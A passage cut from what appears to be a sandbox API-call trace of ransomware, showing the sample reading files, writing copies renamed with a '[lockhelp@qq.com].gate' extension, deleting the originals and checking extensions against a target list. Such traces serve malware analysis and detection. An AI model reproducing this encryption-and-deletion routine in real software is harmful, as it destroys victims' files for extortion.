dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0129.123] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1450) returned 1 [0129.123] CloseHandle (hObject=0x370) returned 1 [0129.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0129.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0129.123] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0129.123] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0129.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0129.124] GetLastError () returned 0x0 [0129.124] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x5aa, lpOverlapped=0x0) returned 1 [0129.711] WriteFile (in: hFile=0x348, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x5b0, lpOverlapped=0x0) returned 1 [0129.712] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0129.713] WriteFile (in: hFile=0x348, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0129.713] SetEndOfFile (hFile=0x348) returned 1 [0129.713] CloseHandle (hObject=0x348) returned 1 [0129.714] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0129.714] SetEndOfFile (hFile=0x370) returned 1 [0129.715] CloseHandle (hObject=0x370) returned 1 [0129.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0129.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0129.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.716] lstrlenW (lpString=".doc") returned 4 [0129.716] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.716] lstrlenW (lpString=".docx") returned 5 [0129.716] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.716] lstrlenW (lpString=".pdf") returned 4 [0129.716] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.716] lstrlenW (lpString=".xls") returned 4 [0129.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.716] lstrlenW (lpString=".xlsx") returned 5 [0129.716] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.716] lstrlenW (lpString=".ppt") returned 4 [0129.716] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.716] lstrlenW (lpString=".zip") returned 4 [0129.716] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.716] lstrlenW (lpString=".rar") returned 4 [0129.716] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.716] lstrlenW (lpString=".bz2") returned 4 [0129.716] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.716] lstrlenW (lpString=".7z") returned 3 [0129.716] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.717] lstrlenW (lpString=".dbf") returned 4 [0129.717] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.717] lstrlenW (lpString=".1cd") returned 4 [0129.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.717] lstrlenW (lpString=".jpg") returned 4 [0129.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.717] lstrlenW (lpString=".doc") returned 4 [0129.717] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.717] lstrlenW (lpString=".docx") returned 5 [0129.717] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.717] lstrlenW (lpString=".pdf") returned 4 [0129.717] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.717] lstrlenW (lpString=".xls") returned 4 [0129.717] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.717] lstrlenW (lpString=".xlsx") returned 5 [0129.717] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.717] lstrlenW (lpString=".ppt") returned 4 [0129.717] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.717] lstrlenW (lpString=".zip") returned 4 [0129.718] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.718] lstrlenW (lpString=".rar") returned 4 [0129.718] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.718] lstrlenW (lpString=".bz2") returned 4 [0129.718] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.718] lstrlenW (lpString=".7z") returned 3 [0129.718] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.718] lstrlenW (lpString=".dbf") returned 4 [0129.718] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.718] lstrlenW (lpString=".1cd") returned 4 [0129.718] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0129.718] lstrlenW (lpString=".jpg") returned 4 [0129.718] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.718] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0129.718] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0129.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0129.719] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3754) returned 1 [0129.719] CloseHandle (hObject=0x370) returned 1 [0129.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0129.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0129.719] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0129.719] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0129.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0129.720] GetLastError () returned 0x0 [0129.720] ReadFile (in: hFile=0x370, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xeaa, lpOverlapped=0x0) returned 1 [0130.155] WriteFile (hFile=0x348, lpBuffer=0x3e07020, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0) Thread: id = 21 os_tid = 0xed4 [0109.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3c71248 [0109.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3c81250 [0109.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cd10 [0109.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x63d220 [0109.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cc20 [0109.645] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3f17020 [0109.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.648] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5ee9d0 [0109.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca70 [0109.648] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60ca70, Size=0x20) returned 0x5eea20 [0109.648] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.648] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.648] Wow64DisableWow64FsRedirection (in: OldValue=0x34eff50 | out: OldValue=0x34eff50*=0x0) returned 1 [0109.648] lstrlenW (lpString="kernel32.dll") returned 12 [0109.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0109.648] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea20 | out: hHeap=0x5b0000) returned 1 [0109.649] Sleep (dwMilliseconds=0x64) [0109.830] lstrcmpiW (lpString1=".log", lpString2=".gate") returned 1 [0109.830] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0109.830] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0109.883] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=40) returned 1 [0109.883] CloseHandle (hObject=0x2d8) returned 1 [0109.883] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0109.883] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0109.883] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0109.883] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0109.883] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0109.883] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0109.884] GetLastError () returned 0x0 [0109.885] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x28, lpOverlapped=0x0) returned 1 [0109.907] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x30, lpOverlapped=0x0) returned 1 [0109.908] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0109.908] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x110, lpOverlapped=0x0) returned 1 [0109.908] SetEndOfFile (hFile=0x2dc) returned 1 [0109.908] CloseHandle (hObject=0x2dc) returned 1 [0109.909] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0109.909] SetEndOfFile (hFile=0x2d8) returned 1 [0109.910] CloseHandle (hObject=0x2d8) returned 1 [0109.910] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0109.911] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0109.911] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.911] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.911] lstrlenW (lpString=".doc") returned 4 [0109.911] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0109.911] lstrlenW (lpString=".docx") returned 5 [0109.911] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0109.911] lstrlenW (lpString=".pdf") returned 4 [0109.911] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0109.911] lstrlenW (lpString=".xls") returned 4 [0109.911] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0109.911] lstrlenW (lpString=".xlsx") returned 5 [0109.912] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0109.912] lstrlenW (lpString=".ppt") returned 4 [0109.912] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0109.912] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.912] lstrlenW (lpString=".zip") returned 4 [0109.912] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0109.912] lstrlenW (lpString=".rar") returned 4 [0109.912] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0109.912] lstrlenW (lpString=".bz2") returned 4 [0109.912] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0109.912] lstrlenW (lpString=".7z") returned 3 [0109.912] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0109.912] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.912] lstrlenW (lpString=".dbf") returned 4 [0109.912] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0109.912] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.912] lstrlenW (lpString=".1cd") returned 4 [0109.912] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0109.912] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.912] lstrlenW (lpString=".jpg") returned 4 [0109.912] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0109.912] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.912] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.912] lstrlenW (lpString=".doc") returned 4 [0109.912] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0109.913] lstrlenW (lpString=".docx") returned 5 [0109.913] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0109.913] lstrlenW (lpString=".pdf") returned 4 [0109.913] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0109.913] lstrlenW (lpString=".xls") returned 4 [0109.913] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0109.913] lstrlenW (lpString=".xlsx") returned 5 [0109.913] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0109.913] lstrlenW (lpString=".ppt") returned 4 [0109.913] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0109.913] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.913] lstrlenW (lpString=".zip") returned 4 [0109.913] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0109.913] lstrlenW (lpString=".rar") returned 4 [0109.913] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0109.913] lstrlenW (lpString=".bz2") returned 4 [0109.913] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0109.913] lstrlenW (lpString=".7z") returned 3 [0109.913] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0109.913] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.913] lstrlenW (lpString=".dbf") returned 4 [0109.913] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0109.913] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.913] lstrlenW (lpString=".1cd") returned 4 [0109.913] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0109.913] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0109.913] lstrlenW (lpString=".jpg") returned 4 [0109.914] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0109.914] Sleep (dwMilliseconds=0x64) [0110.277] lstrcmpiW (lpString1=".ini", lpString2=".gate") returned 1 [0110.277] lstrlenW (lpString="desktop.ini") returned 11 [0110.277] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.278] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=129) returned 1 [0110.278] CloseHandle (hObject=0x2c0) returned 1 [0110.280] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0110.280] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.281] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.281] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.281] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.281] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.297] GetLastError () returned 0x0 [0110.297] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x81, lpOverlapped=0x0) returned 1 [0110.298] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x90, lpOverlapped=0x0) returned 1 [0110.298] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0110.298] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xea, lpOverlapped=0x0) returned 1 [0110.299] SetEndOfFile (hFile=0x310) returned 1 [0110.299] CloseHandle (hObject=0x310) returned 1 [0110.300] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.300] SetEndOfFile (hFile=0x2c0) returned 1 [0110.300] CloseHandle (hObject=0x2c0) returned 1 [0110.300] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x26) returned 1 [0110.301] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0110.301] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.301] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.301] lstrlenW (lpString=".doc") returned 4 [0110.301] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0110.301] lstrlenW (lpString=".docx") returned 5 [0110.301] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0110.301] lstrlenW (lpString=".pdf") returned 4 [0110.302] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0110.302] lstrlenW (lpString=".xls") returned 4 [0110.302] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0110.302] lstrlenW (lpString=".xlsx") returned 5 [0110.302] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0110.302] lstrlenW (lpString=".ppt") returned 4 [0110.302] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0110.302] lstrlenW 